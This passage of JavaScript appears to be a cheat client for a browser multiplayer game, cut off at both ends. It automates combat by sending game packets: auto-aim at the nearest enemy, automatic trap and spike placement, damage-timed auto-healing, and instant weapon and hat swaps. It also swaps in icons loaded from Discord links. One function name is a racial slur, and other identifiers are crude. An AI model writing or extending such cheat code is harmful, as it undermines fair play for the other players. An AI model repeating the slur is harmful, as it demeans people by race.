&& nEyT){
let ca = (nEA-eNS.ang)+nEA;
r.send('33', ca);
gameStatus = "autoPush";
}else if(autoPush && fgd(Ii(nEy[0]), R) <= 40 && eNS.all && nEs.length
&& nEyT){
let ca = (nEA-eNS.ang)+nEA;
r.send('33', ca+Math.PI);
autoPush = 'stopNextTick';
}else if(autoPush == 'stopNextTick'){
autoPush = false;
gameStatus = "stopPush";
r.send('33', null);
}//push
function si(e, t, n, i, r, s) {
(i = i || be).beginPath(),
i.arc(e, t, n, 0, 2 * Math.PI),
s || i.fill(),
r || i.stroke()
}
function ai(e, t, n, i) {
var r, s, a = Math.PI / 2 * 3, o = Math.PI / t;
e.beginPath(),
e.moveTo(0, -n);
for (var c = 0; c < t; c++)
r = Math.cos(a) * n,
s = Math.sin(a) * n,
e.lineTo(r, s),
a += o,
r = Math.cos(a) * i,
s = Math.sin(a) * i,
e.lineTo(r, s),
a += o;
e.lineTo(0, -n),
e.closePath()
}
function oi(e, t, n, i, r, s) {
r.fillRect(e - n / 2, t - i / 2, n, i),
s || r.strokeRect(e - n / 2, t - i / 2, n, i)
}
function ci(e, t, n, i, r, s, a) {
s.save(),
s.translate(e, t),
r = Math.ceil(r / 2);
for (var o = 0; o < r; o++)
oi(0, 0, 2 * n, i, s, a),
s.rotate(Math.PI / r);
s.restore()
}
function li(e) {
for (var t = 0; t < e.length; )
nt.add(e[t], e[t + 1], e[t + 2], e[t + 3], e[t + 4], e[t + 5],
l.list[e[t + 6]], !0, e[t + 7] >= 0 ? {
sid: e[t + 7]
} : null),
t += 8
}
let aT = (c, e) => [...Array(17)].map((n, i) => i * 0.19625).forEach(a =>
[c, e].forEach(t => place(t, a)));
function hi(e, t) {
(_ = Mi(t)) && (_.xWiggle += o.gatherWiggle * Math.cos(e),
_.yWiggle += o.gatherWiggle * Math.sin(e), _.hit =
true);
}
function ui(e, t) {
(_ = Mi(e)) && (_.dir = t,
_.xWiggle += o.gatherWiggle * Math.cos(t + Math.PI),
_.yWiggle += o.gatherWiggle * Math.sin(t + Math.PI))
}
//s[this.giveData(e)[0]].includes(`dies to ${this.giveData(e)
[1].slice(this.giveData(e)[1].lastIndexOf("i"))}`) && s[this.giveData(e)
[0]].forEach((k, t) => {
// if(k === `dies to ${this.giveData(e)[1].slice(this.giveData(e)
[1].lastIndexOf("i"))}`) s[this.giveData(e)[0]].splice(t, t+1, this.giveData(e)
[1]);
//});
class createTrack {
constructor(del_1, del_2, exed, dmgd) {
this.delay1 = del_1;
this.delay2 = del_2;
this.exed = exed;
this.dmged = dmgd;
};
get healTime() {
try {
if(Math.sign(this.delay2 - this.delay1) !== -1) {
return this.delay2 - this.delay1;
} else {
throw new Error();
}
} catch(e) {};
}
get healExchangsion() {
return this.exed + this.dmged <= 100 && (this.exed + this.dmged);
}
get lastHealTime() {
try {
if(Math.sign(this.delay1 - this.delay2) !== -1) {
return this.delay1 - this.delay2;
} else {
throw new Error();
}
} catch(e) {};
}
}
function autoPlace(e, t, n, m, r){//best placer
if(!R.items[4]) return null;
t = N.filter(c => c.isItem && c.active && !c.dontGather && (c.owner.sid
== R.sid || (c.team && c.team == R.team)) && [6, 7, 8, 9, 15].includes(c.id) &&
Math.hypot(c.x - e.x2, c.y - e.y) <= 250);
t && (t = t.sort((a, b) => Math.hypot(a.x - _.x, a.y - _.y) -
Math.hypot(b.x - _.x, b.y - _.y))[0]);
if(t && t[0]){
n = Math.atan2(e.y2 - t[0].y, e.x2 - t[0].x);
t && e && (m = Math.hypot(t[0].y - e.y2, t[0].x - e.x2) + 3);
t && n && m && (r = {x: t[0].x + Math.cos(n) * m, y: t[0].y +
Math.sin(n) * m});
place(R.items[2], Math.atan2(r.y - R.y2, r.x - R.x2));
for(let i = 0; i < 50; i += 5) place(R.items[2], Math.atan2(r.y -
R.y2, r.x - R.x2) + toRad(i)), place(R.items[2], Math.atan2(r.y - R.y2, r.x - R.x2)
- toRad(i));
};
t = Math.atan2(e.y - R.y2, e.x - R.x2);
n = R.x2 + Math.cos(t) * 80;
m = R.y2 + Math.sin(t) * 80;
if(Math.hypot(m - e.y2, n - e.x2) <= 50){
Hq(R.items[4], t);
for(let i = 50; i < 120; i += 5) Hq(R.items[2], t + toRad(i));
};
r = N.find(c => c.isItem && c.active && !c.dontGather && c.owner.sid ==
R.sid && c.id == 15 && Math.hypot(c.x - e.x2, c.y - e.y2) <= 50);
if(!r || Math.hypot(r.y - R.y2, r.x - R.x2) > 70) return null;
for(let i = 70; i < 170; i += 5) {
Hq(R.items[2], Math.atan2(r.y - R.y2, r.x - R.x2) + toRad(i));
Hq(R.items[2], Math.atan2(r.y - R.y2, r.x - R.x2) - toRad(i));
}
};
function system(e, n) {
let allData = [...Array(51)].map(r => r = []);
!([null, undefined].includes(e)) && n !== null && (allData[e].push(n));
allData[e].length && allData[e].forEach((k, t) => {
if([k].includes("clowns") || [k].includes("dies") ||
[k].includes("bull tick")) {
allData[e].splice(t, t+1, n);
} else {
!([null, void 0, 1/0].includes(n)) && (allData[e].push(n));
}
});
if(e !== null) getPosData !== null && (allData[getPosData] = []),
isDuplicated(allData[e]) && (allData[e].pop());
}
function isDuplicated(e) {
for (var i = 0; i < e.length; i++) {
for (var o = 0; o < e.length; o++) {
if (i !== o) {
if (e[i] === e[o]){
return true;
}
}
}
}
return false;
}
function scb(e, x, y, c, r, d, w) {
e.fillStyle = r;
e.roundRect(x - o.healthBarWidth - o.healthBarPad, y + _.scale +
o.nameY, 2 * (o.healthBarWidth + w) + 2 * o.healthBarPad, 17, 8);
e.fill();
e.fillStyle = c;
e.roundRect(x - o.healthBarWidth, y + _.scale + o.nameY +
o.healthBarPad, 2 * (o.healthBarWidth + w) * (d), 17 - 2 * o.healthBarPad, 7);
e.fill();
}
function dhb(be, x, y, color, min, limit, width) {
be.fillStyle = rt;
be.roundRect(x - o.healthBarWidth - o.healthBarPad, y + _.scale +
o.nameY, 2 * (o.healthBarWidth + width) + 2 * o.healthBarPad, 17, 8);
be.fill();
be.fillStyle = color;
be.roundRect(x - o.healthBarWidth, y + _.scale + o.nameY +
o.healthBarPad, 2 * (o.healthBarWidth + width) * (min / limit), 17 - 2 *
o.healthBarPad, 7);
be.fill();
}
function fi(e, t, n, i, r, s, a, o) {
lt && (J.addProjectile(e, t, n, i, r, s, null, null, a).sid = o,
setAdvCooldown(e, t, n, i, r));
}
let goesTo = function(e, t, n, i, r, v, o){
t = cp(n, i, r, v, o);
return t;
};
const cp = function(x, y, dir, obj, owner, scale, range, skipMov = true){
if(!obj || !obj.scale) return false;
!owner && (owner = {sid: -1, x: -1, y: -1, team: null});
scale = obj.scale;
range = obj.range;
for(let u = 0; u < range; u += 35){
let o, f, h, e = Y, t = W, c = [], i = script.data;
if (skipMov) {
skipMov = !1;
} else {
x += u * Math.cos(dir);
y += u * Math.sin(dir);
range -= u;
if(range <= 0){
x += range * Math.cos(dir)
y += range * Math.sin(dir)
u = 1
range = 0
return false;
};
for (c.length = 0,
f = 0; f < e.length + t.length; ++f)
!(o = e[f] || t[f - e.length]).alive || o == owner ||
owner.team && o.team == owner.team || s.lineInRect(o.x2 - o.scale, o.y2 - o.scale,
o.x2 + o.scale, o.y2 + o.scale, x, y, x + u * Math.cos(dir), y + u * Math.sin(dir))
&& c.push(o);
for (var d = nt.getGridArrays(x, y, scale), p = 0; p < d.length;
++p)
for (var g = 0; g < d[p].length; ++g)
h = (o = d[p][g]).getScale(),
o.active && c.indexOf(o) < 0 && !o.ignoreCollision
&& s.lineInRect(o.x - h, o.y - h, o.x + h, o.y + h, x, y, x + u * Math.cos(dir), y
+ u * Math.sin(dir)) && c.push(o);
if (c.length > 0) {
var m = null,
yz = null,
k = null;
for (f = 0; f < c.length; ++f)
k = s.getDistance(x, y, c[f].x, c[f].y),
(null == yz || k < yz) && (yz = k,
m = c[f]);
console.log(`Hit ${m.isAI ? 'animal' : m.isPlayer ? 'player'
: 'building'}!`);
return m;
if (m.isPlayer || m.isAI) {
var v = .3 * (m.weightM || 1);
null != m.weaponIndex && i.weapons[m.weaponIndex].shield
&& s.getAngleDist(dir + Math.PI, m.dir) <= r.shieldAngle || null;
}
}
}
}
}

function setAdvCooldown(e, t, n, i, r){


let min = Infinity;
let id = -1;
for(let i = 0; i < W.length;i++){
(_ = W[i]) && _.visible && _.secondary &&
l.weapons[_.secondary].projectile !== undefined &&
l.projectiles[l.weapons[_.secondary].projectile].speed == r &&
min > (_.x2-e+Math.cos(n)*70)**2+(_.y2-t+Math.sin(n)*70)**2
&& (id = _.sid, min = (_.x2-e+Math.cos(n)*70)**2+(_.y2-
t+Math.sin(n)*70)**2)
}
if(Math.sqrt(min) > 80){
if(r == 1.5){
for(let i = 0; i < W.length;i++){
(_ = W[i]) && _.visible &&
min > (_.x2-e)**2+(_.y2-t)**2
&& (id = _.sid, min = (_.x2-e)**2+(_.y2-t)**2)
}
if(Math.sqrt(min) < 60){
setTimeout(()=>{turretReload[id] = 0});
}
}else{
for(let i = 0; i < W.length;i++){
(_ = W[i]) && _.visible && _.secondary &&
min > (_.x2-e+Math.cos(n)*70)**2+(_.y2-
t+Math.sin(n)*70)**2
&& (id = _.sid, min = (_.x2-e+Math.cos(n)*70)**2+(_.y2-
t+Math.sin(n)*70)**2)
}
_=Ii(id);
setTimeout(()=>{secondaryReload[id] = 0});
}
}else{
_=Ii(id);
setTimeout(()=>{secondaryReload[id] = 0});
}
}
function di(e, t) {
for (var n = 0; n < G.length; ++n)
G[n].sid == e && (G[n].range = t)
}
function pi(e) {
(_ = Ei(e)) && _.startAnim()
}
function gi(e) {
for (var t = 0; t < Y.length; ++t)
Y[t].forcePos = !Y[t].visible,
Y[t].visible = !1;
if (e) {
var n = Date.now();
for (t = 0; t < e.length; )
(_ = Ei(e[t])) ? (_.index = e[t + 1],
_.t1 = void 0 === _.t2 ? n : _.t2,
_.t2 = n,
_.x1 = _.x,
_.y1 = _.y,
_.x2 = e[t + 2],
_.y2 = e[t + 3],
_.d1 = void 0 === _.d2 ? e[t + 4] : _.d2,
_.d2 = e[t + 4],
_.health = e[t + 5],
_.dt = 0,
_.visible = !0) : ((_ = Z.spawn(e[t + 2], e[t
+ 3], e[t + 4], e[t + 1])).x2 = _.x,
_.y2 = _.y,
_.d2 = _.dir,
_.health = e[t + 5],
Z.aiTypes[e[t + 1]].name ||
(_.name = o.cowNames[e[t + 6]]),
_.forcePos = !0,
_.sid = e[t],
_.visible = !0),
t += 7
}
}
var mi = {};
function yi(e, t) {
var n = e.index
, i = mi[n];
if (!i) {
var r = new Image;
r.onload = function() {
this.isLoaded = !0,
this.onload = null
}
,
r.src = ".././img/animals/" + e.src + ".png",
i = r,
mi[n] = i
}
if (i.isLoaded) {
var s = 1.2 * e.scale * (e.spriteMlt || 1);
t.drawImage(i, -s, -s, 2 * s, 2 * s)
}
}
function ki(e, t, n) {
return e + n >= 0 && e - n <= oe && t + n >= 0 && t - n <= ce
}
function vi(e, t) {
var n = function (e) {
for (var t = 0; t < W.length; ++t)
if (W[t].id == e)
return W[t];
return null
}(e[0]);
n || (n = new u(e[0], e[1], o, s, J, nt, W, Y, l, et, tt),
W.push(n)),
n.spawn(t ? H : null),
n.visible = !1,
n.x2 = void 0,
n.y2 = void 0,
n.setData(e),
primaryReload[n.sid] = 1,
n.pr = 1,
secondaryReload[n.sid] = 1,
n.sr = 1;
turretReload[n.sid] = 1,
n.tr = 1,
n.shameCount = 0,
t && (U = (R = n).x,
D = R.y,
$t(),
On(),
Dn(),
Un(0),
Be.style.display = "block")
}
function checkConstant() {
for(let i = 0; i < N.length; i++) {
if((N[i].name == "pit trap") !== undefined) {
return [50 + sIt(ntE[1], ntE[2], N), sIt(ntE[1], ntE[2], N) ==
undefined ? false : true];
}
}
}
function sIt(r, o, p) {
for(let i = 0; i < p.length; i++) {
var l = r - p[i].x,
h = o - p[i].y,
u = 35 + p[i].scale,
a = (Math.pow,
Math.sqrt);
if (Math.abs(l) <= u || Math.abs(h) <= u) {
u = 35 + (p[i].getScale ? p[i].getScale() : p[i].scale);
var f = a(l * l + h * h) - u;
if(f <= 0) {
if(p[i].ignoreCollision) {
return f;
}
}
}
}
}
function wi(e) {
for (var t = 0; t < W.length; t++)
if (W[t].id == e) {
W.splice(t, 1);
break
}
}
function bi(e, t) {
R && (R.itemCounts[e] = t)
}
function xi(e, t, n) {
R && (R[e] = t,
n && On());
}
function Si(e, t) {
(_ = Ii(e)) && (Qz(_, t), _.health = t);
}
var uq = 0;
let heal = {
count: 0,
delay: null,
exchange: 0,
taken: 0,
proto: null
};
let nHeal = {
delay_1: null,
delay_2: null,
exchange: 0,
damaged: 0
}
async function Qz(_, t){
let d = t - _.health;
if(d > 0){
if(_.skinIndex == 13){
if(_.tailIndex == 13){
d == 6 && (_.lastBull = tC);
R == _ && (uq = 0);
return;
}else{
d == 3 && (_.lastBull = tC);
R == _ && (uq = 0);
return;
}
}
if(!isNaN(_.shameCount) && _.lastDamage){
if(tC - _.lastDamage < 2){
_.shameCount++;
}else{
_.shameCount = Math.max(0, _.shameCount-2);
}
_.lastDamage = 0;
}
}else{
_.lastDamage = tC;
if(_.skinIndex == 7){
if(_.tailIndex == 13){
if(d == -2){
_.lastBull = tC;
R == _ && (setTimeout(()=>{Sn(R.items[0]), r.send("c",
1),r.send("c", 0), Sn(R.weaponIndex, 1)}, 90), uq = 0)
return;
}
}else{
if(d == -5){
_.lastBull = tC;
R == _ && (setTimeout(()=>{Sn(R.items[0]), r.send("c",
1),r.send("c", 0), Sn(R.weaponIndex, 1)}, 90), uq = 0)
return;
}
}
}
}
// R.health < 60 &&
if(R == _) {
if(!bsr) {
if(d < 0) {
//console.log(R.health);
heal.taken = 100 + d;
if(((R.health <= (R.skinIndex == 6 ? 50 : 60)) || d <= -40
|| (d == (R.skinIndex == 6 ? -56 : -75))) && heal.count < 3 && Date.now() -
heal.delay > /*(countPlayerIndex(l.weapons[R.weaponIndex].range + (35 *
countPlayerIndex(500))) > 1 ? cwd("speed",
countPlayerIndex(l.weapons[R.weaponIndex].range + (35 * countPlayerIndex(500))),
l.weapons[R.weaponIndex].range + (35 * countPlayerIndex(500))).reduce((a, b) =>
(a+b)-ctl)[0] : */181 + ctl) {
for(let i = 0; i < (d == (R.skinIndex == 6 ? -56 : -
75) ? 1 : d >= -47 ? 1 : 2); i++) {
place(R.items[0]);
}
heal.count++;
Equip(6, R.tailIndex);
heal.delay = Date.now();
} else if(d <= -40 && heal.count > 2 && Date.now() -
heal.delay >= 750) {
for(let i = 0; i < 2; i++) {
place(R.items[0]);
}
Equip(26, 19);// Equip(26,
R.tailIndex); lf dont work
heal.delay = Date.now();
} else {
await (tC - R.lastDamage > 2), setTimeout(function() {
for(let i = 0; i < 2; i++) {
place(R.items[0]);
}
heal.count = Math.max(0, heal.count-2);
}, 120);
}
heal.proto = Date.now();
} else {
heal.exchange = d;
if(R.items[0] == 0 && heal.exchange + heal.taken < 100) {
await (tC - R.lastDamage > 2), setTimeout(function() {
for(let i = 0; i < 2; i++) {
place(R.items[0]);
}
heal.count = Math.max(0, heal.count-2);
}, 120);
}
}
} else {
if(d < 0) {
if(d <= -41 && R.items[0] == 1 && Date.now() - heal.delay >
l.weapons[ntE[5]].speed + ctl + 111 + window.pingTime + Ii(ntE[0]).slowMult) {
place(R.items[0]);
heal.delay = Date.now();
Equip(6, R.tailIndex);
} else {
console.log("aaaa");
if(Date.now() - heal.proto >= 112) {
setTimeout(function() {
for(let i = 0; i < 2; i++) {
place(R.items[0]);
}
}, (120 + Date.now() - heal.proto));
} else {
setTimeout(function() {
for(let i = 0; i < 2; i++) {
place(R.items[0]);
}
}, (120 + Date.now() - heal.proto));
}
}
heal.proto = Date.now();
} else {
if(Date.now() - heal.delay < l.weapons[ntE[5]].speed + ctl +
111 + window.pingTime + Ii(ntE[0]).slowMult) {
if(Date.now() - heal.proto >= 111) {
setTimeout(function() {
for(let i = 0; i < 2; i++) {
place(R.items[0]);
}
while(Date.now() - heal.delay >
l.weapons[ntE[5]].speed + ctl + 111 + window.pingTime + Ii(ntE[0]).slowMult) {
heal.delay += ctl;
}
Jt(0, 0);
}, (120 + Date.now() - heal.proto));
} else {
setTimeout(function() {
for(let i = 0; i < 2; i++) {
place(R.items[0]);
}
while(Date.now() - heal.delay >
l.weapons[ntE[5]].speed + ctl + 111 + window.pingTime + Ii(ntE[0]).slowMult) {
heal.delay += ctl;
}
Jt(0, 0);
}, (120 + Date.now() - heal.proto));
}
}
}
}
}
if(nEs.length) {
if(_.sid == nEy.sid) {
let h_d = t - nEy.health;
if(h_d < 0) {
nHeal.delay_1 = Date.now();
nHeal.damaged = 100 + h_d;
} else {
nHeal.delay_2 = Date.now();
nHeal.exchange = h_d;
}
//Math.sign(nHeal.delay_2 - nHeal.delay_1) != -1 &&
(console.log(nHeal.delay_2 - nHeal.delay_1));
//nHeal.damaged + nHeal.exchange <= 100 &&
(console.log(nHeal.damaged + nHeal.exchange));
//Math.sign(nHeal.delay_1 - nHeal.delay_2) != -1 &&
(console.log(nHeal.delay_1 - nHeal.delay_2));
}
}
}

setInterval(function(){
ctl = Math.abs(Math.ceil(Date.now() - ltcl));
[ctl].forEach(t=>t>Math.ceil((1000/9)/2)?t_s = !1:t_s = !0);
if(!!autoaim) r.send("2", Math.atan2(ntE[2] - R.y, ntE[1] - R.x));
if(!!trapaim) itp.vis && (r.send("2", Math.atan2(itp.y - R.y, itp.x -
R.x)));
//if(!!buildingaim) sliceByName(buildName) != undefined && (r.send("2",
Math.atan2(sliceByName(buildName).y - R.y, sliceByName(buildName).x - R.x)));
});
var nEy;
var oldShit = {a: null, b: null};
let gameEnemy = {};
let gameTeammate = {};
let nearest, all;
let tC = 0;
let ntE;
let nEs;
let currentX = [], currentY = [], nowX = [], nowY = [];
async function Ti(e) {
eznigger();
resolveConstructor();
!itp.vis && Mill.z && Mills();
nEy = {};
ntE = [];
nEs = [];
nowX = [], nowY = [];
ltcl = Date.now();
tC++;
for (var t = Date.now(), n = 0; n < W.length; ++n)
W[n].forcePos = !W[n].visible,
W[n].visible = !1;
for (n = 0; n < e.length; )
(_ = Ii(e[n])) && (_.t1 = void 0 === _.t2 ? t : _.t2,
_.t2 = t,
_.x1 = _.x,
_.y1 = _.y,
_.x2 = e[n + 1],
_.y2 = e[n + 2],
nowX[_.sid] = _.x2, nowY[_.sid] = _.y2,
(lastX[_.sid] && lastY[_.sid] && (tC - 1 ==
_.lastData ? (_.preX = ((_.x2 * 2) - lastX[_.sid]), _.preY = ((_.y2 * 2) -
lastY[_.sid])) : (_.preX = _.x2, _.preY = _.y2))),
_.lastData = tC,
_.d1 = void 0 === _.d2 ? e[n + 3] : _.d2,
_.d2 = e[n + 3],
(_.dt > 200 && uq++),
_.movement = Math.hypot(_.y1 - _.y2, _.x1 -
_.x2),
_.dt = 0,
_.buildIndex = e[n + 4],
_.weaponIndex = e[n + 5],
_.weaponVariant = e[n + 6],
_.team = e[n + 7],
_.isLeader = e[n + 8],
_.skinIndex = e[n + 9],
_.tailIndex = e[n + 10],
_.iconIndex = e[n + 11],
_.zIndex = e[n + 12],
_.visible = !0,
(_ == R || _.team && _.team == R.team) ?
doWeaponStuff(_) : nEs.push(e.slice(n, n + 13))), n += 13,
!!nEs.length && (nEs = nEs.sort((a, b) => s.getDistance(a[1],
a[2], R.x, R.y) - s.getDistance(b[1], b[2], R.x, R.y)), ntE = nEs[0]),
solvePlayerType();
nEy = W.length && W.filter(e => e.sid != R.sid || e.team && e.team !=
R.team).sort((a, b) => s.getDistance(a.x, a.y, R.x, R.y) - s.getDistance(b.x, b.y,
R.x, R.y))[0];
erp && nEs.length && !itp.vis && s.getDistance(ntE[1], ntE[2], R.x, R.y)
<= 300 && autoPlace(nEy);
let track = new createTrack(nHeal.delay_1, nHeal.delay_2,
nHeal.exchange, nHeal.damaged);
lastX = nowX;
lastY = nowY;

for(let i in gameEnemy[all]) {
doWeaponStuff(Ii(gameEnemy[all][i].sid));
}
if(R.shameCount > 3 && !itp.vis) {
if(((tC - R.lastBull) % 9 == 0 || (R.lastBull && uq > 1))) {
Equip(7, 11);
}
} else {
if((R.shameCount == 5 || R.shameCount < 5) && R.skinIndex == 7 &&
((tC - R.lastBull) % 9 != 0 || (R.lastBull && uq < 1))) {
if(nEs.length) {
Equip(oldShit.a, oldShit.b);
} else {
biome(11);
}
}
}
if(R.buildIndex != -1 && s.getDistance(R.x, R.y, ntE[1], ntE[2]) > twq()
&& !itp.vis) {
spin.toggle = true;
await nextTick();
await nextTick();
spin.toggle = false;
} else if(R.buildIndex != -1 && itp.vis && R.skinIndex == 6) {
spin.toggle = true;
await nextTick();
await nextTick();
spin.toggle = false;
}
//nEy && console.log(goesTo(nEy.sid, {}, R.x2, R.y2, Math.atan2(nEy.y2 -
R.y2, R.x2 - R.x2),
script.data.projectiles[script.data.weapons[R.weapons[1]].projectile], R));

//console.log(twq());
/*
if(nEs.length) {
if(!itp.vis) {
if([4, 5].includes(R.weapons[0]) && R.weapons[1] == 15) {
if (s.getDistance(ntE[1], ntE[2], R.x, R.y) <= twq()) {
if(R.shameCount > 3 || (Date.now() - nHeal.delay_1 >=
120 && (Date.now() - nHeal.delay_2 < (l.weapons[R.weapons[1]].speed * 2) - 111)) ||
(nEy.shameCount > 0 && R.skinIndex == 7 && (tC - Ii(ntE[0]).lastBull) % 9 == 8)){
if (secondaryReload[R.sid] == 1) {
if(primaryReload[R.sid] == 1) {
fuck();
}
}
} else {
if(primaryReload[R.sid] == 1) {
Kt(7, 0), Kt(21, 1), Jt(0, 1), Jt(7, 0), Jt(21,
1), autoaim = true, r.send("c", 1), R.weaponIndex != R.weapons[0] &&
(Sn(R.weapons[0], 1));
} else {
[4, 5, 15, 13].includes(ntE[5]) &&
secondaryReload[ntE[0]] == 1 ? (Kt(6, 0), Jt(6, 0), Jt(0, 1), Kt(21, 1), Jt(21, 1))
: biome(21);
}
}
}
}
}
}
/*
if(nEs.length) {
if(nEy.shameCount > 0) {
if(nEy.skinIndex == 7 && (nEy.skinIndex == 13 ||
s.getDistance(R.x, R.y, ntE[1], ntE[2]) <= l.weapons[ntE[5]].range + 35)) {
if((tC - Ii(ntE[0]).lastBull) % 9 == 8) {
system(nEy.sid, "bull ticks at the shame of
"+nEy.shameCount);
}
}
if(track.healTime < 120) {
let s = nEy.shameCount;
if(s < nEy.shameCount) {
system(nEy.sid, "clowns to bull spam");
}
}
}
}
*/
//console.log(N);
//console.log(countBuildingIndex("windmill", 300, R));
//console.log(cwd("speed", 2, l.weapons[R.weaponIndex].range + (35 *
countPlayerIndex(500))));
if(itp.vis) {
if(secondaryReload[R.sid] == 1 && turretReload[R.sid] == 1 && 15 ==
R.weapons[1] && Math.hypot(ntE[1] - R.x, ntE[2] - R.y) <= twq() && R.weapons[0] ==
4) {
trapaim = false;
await nextTick();
xn();
} else {
if(!itp.insta) {
trapaim = true;
if(R.weapons[1] == 10) {
if(R.weapons[0] == 7) {
if(R.weaponIndex == R.weapons[0]) {
if(itp.health <= 20) {
Equip(40), r.send("c", 1);
} else {
Sn(R.weapons[1], 1);
}
} else {
r.send("c", 1);
if(itp.health > 20) {
if(secondaryReload[R.sid] == 1) {
Equip(40);
} else {
Equip(22);
}
} else {
Sn(R.weapons[0], 1);
}
}
} else if(R.weapons[0] == 4) {
if(R.weaponIndex == R.weapons[0]) {
if(primaryReload[R.sid] > 0.49) {
Equip(40), r.send("c", 1);
} else {
Sn(R.weapons[1], 1);
}
} else {
r.send("c", 1);
if(itp.health > 40) {
if(secondaryReload[R.sid] == 1) {
Equip(40);
} else {
Equip(22);
}
} else {
if(primaryReload[R.sid] > 0.49) {
Sn(R.weapons[0], 1);
} else {
if(secondaryReload[R.sid] == 1) {
Equip(40);
} else {
Equip(22);
}
}
}
}
} else {
if(R.weaponIndex == R.weapons[0]) {
if(primaryReload[R.sid] > 0.67) {
Equip(40), r.send("c", 1);
} else {
Sn(R.weapons[1], 1);
}
} else {
r.send("c", 1);
if(itp.health > 40) {
if(secondaryReload[R.sid] == 1) {
Equip(40);
} else {
Equip(22);
}
} else {
if(primaryReload[R.sid] > 0.67) {
Sn(R.weapons[0], 1);
} else {
if(secondaryReload[R.sid] == 1) {
Equip(40);
} else {
Equip(22);
}
}
}
}
}
} else {// can insta
if(R.weapons[0] != R.weaponIndex) {
Sn(R.weapons[0], 1);
} else {
r.send("c", 1);
if(primaryReload[R.sid] == 1) {
Equip(40);
} else {
Equip(6);
}
}
}
}
}
}
if(spin.toggle) r.send("2", pn() + spn());
Update();
}
function convertToArray(e) {
return !(e instanceof Array) && (typeof e === "number" ? [e] :
Array(e));
}
function dist(a, b){
return Math.sqrt(Math.pow(((b.preY || b.y2)-(a.preY ||
a.y2)),2)+Math.pow(((b.preX || b.x2)-(a.preX || a.x2)),2));
}
function eznigger() { //ae86 lookalike bars plsssssss
document.getElementById("actionBarItem17").style.backgroundImage =
"url('https://cdn.discordapp.com/attachments/889751297329365063/928763753158279228/
New_Project_60.png')";
document.getElementById("actionBarItem18").style.backgroundImage =
"url('hhttps://cdn.discordapp.com/attachments/889751297329365063/928763753158279228
/New_Project_60.png')";
if(document.getElementById("actionBarItem31"))
document.getElementById("actionBarItem31").style.display = "none";
if(document.getElementById("actionBarItem34"))
document.getElementById("actionBarItem34").style.display = "none";
if(document.getElementById("actionBarItem33"))
document.getElementById("actionBarItem33").style.display = "none";
if(document.getElementById("actionBarItem36"))
document.getElementById("actionBarItem36").style.display = "none";
if(document.getElementById("actionBarItem37"))
document.getElementById("actionBarItem37").style.display = "none";
if(document.getElementById("actionBarItem38"))
document.getElementById("actionBarItem38").style.display = "none";
if(document.getElementById("actionBarItem35"))
document.getElementById("actionBarItem35").style.display = "none";
if(document.getElementById("actionBarItem29"))
document.getElementById("actionBarItem29").style.display = "none";
if(document.getElementById("actionBarItem36"))
document.getElementById("actionBarItem36").style.display = "none";
if(document.getElementById("actionBarItem21"))
document.getElementById("actionBarItem21").style.display = "none";
if(document.getElementById("actionBarItem20"))
document.getElementById("actionBarItem20").style.backgroundImage =
"url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEIAAABCCAYAAADjVADoAAAAAXNSR0I
Ars4c6QAAA4ZJREFUeF7tmr1v00AYxh+btqRF4qMUWlQWYEEsgFgQQsyOO7QGIcGAhAQbEyD+C2BihAEJCc
TiMORcOiKEWCpgQSyIBUQDpXwIkjRJY+QkhsQ6f54vTtXXW5Q7+31/
ft7nznengK4WAYU4tAkQiI4SCASB6DUFUgQpghTBHSipNAalNGZmzuyv19d2LCwUFrOc02SqCF03VgGMdAC
UGDOnsoKRCQhdN+yghBkz+x5X3x8YBsEF1G8YfQPhB2As1xZHucoPpV9ApIPQdeMOgCu8UtBO1qCq7X+aTW
D+uWsXnjFewf1i0bwo0z+kgdB1owBglhe8fqoWmBN7xgdi2/
ZTyypoMoBIAaHrp38D9pYkEP55hA8MAN8ZM8fThpEqiCAjDFOBX2J+6nDa23Y1Z1mWMwQLX6mAkAHAm1kQk
DQMVQiEphlnVRWPea/
j2KEGJieawm+q+walZRWLb4f43wqKfaFYLDxI+sBEIDRt9qqqqrd5Dz1xpI7tWwPnSz3ddo1vbv3+uhJd4T
9+KXjxepibs203b1jWk5txgSQC4VcKcX1g395eP/
3w8U+s+P3KJUmppAJCFIA3e1EgmYCIA2FkSMX01Gikt/
5pqYJaI7rHdKtjYEGM5jZhaiIXCYC30dJyFZXqWmjfgQfh9YHQjHwahJXLwIJIC0BU/
yAQHVIEgkD0Fg0pghRBiuAOsFQaVBpUGlQaDgG/
qTZ5BHkEecT68gg32rS+QtftZ3j3axsbHcLkzvYibdyr9G0V5UojtNvAmiUv8pFhFdOTEZfqShXU6utoqc5
JOM66pdM+rFzCysAL2buancmaZXdQokBEAbix9BPENQC3ePI/friO8W1yN3hWfip4+Ya/wQPgOmMmd/
MpyGgS7Wu4N9Q045yq4iHvAUcPNrBnd/QaD3VDAJ+/qHj1jr/l12zi/
Py8+SjKfXhthEC4N9zwm8BesjKAyN4Fd3NIRREcIM4m5hhPglENNQBAmTGTewglaVk4/
aSAaA2pusEA5JPACIBgMWbqIgn79ZUG4r9/
zN0FlEu8AKIeJgPse4wVLssAILU0uCrwOWS6YY4XxjHU7rZJJkUiipFeGnHUITIzFIEg1SyjBJbPGzVFQWu
KaNuoW5bJP2AZ5WaCbTJRRHfM+fzcAee3ZRXeC+Yi1D1zEELRp9iZQHRgEggC0VtXpAhSBCmCO9ZQaVBp9A
rjL61iwlIxaotoAAAAAElFTkSuQmCC'";
if(document.getElementById("actionBarItem24"))
document.getElementById("actionBarItem24").style.backgroundImage =
"url('https://cdn.discordapp.com/attachments/943238174346477580/947617189907800095/
g8YYpRhVvExqAAAAABJRU5ErkJggg.png'";
if(document.getElementById("actionBarItem25"))
document.getElementById("actionBarItem25").style.backgroundImage =
"url('https://cdn.discordapp.com/attachments/943238174346477580/947617189907800095/
g8YYpRhVvExqAAAAABJRU5ErkJggg.png'";
if(document.getElementById("actionBarItem24"))
document.getElementById("actionBarItem25").style.backgroundImage =
"url('https://cdn.discordapp.com/attachments/943238174346477580/947617189907800095/
g8YYpRhVvExqAAAAABJRU5ErkJggg.png'";
if(document.getElementById("actionBarItem23"))
document.getElementById("actionBarItem23").style.backgroundImage =
"url('https://cdn.discordapp.com/attachments/943238174346477580/947617189907800095/
g8YYpRhVvExqAAAAABJRU5ErkJggg.png'";
if(document.getElementById("actionBarItem30"))
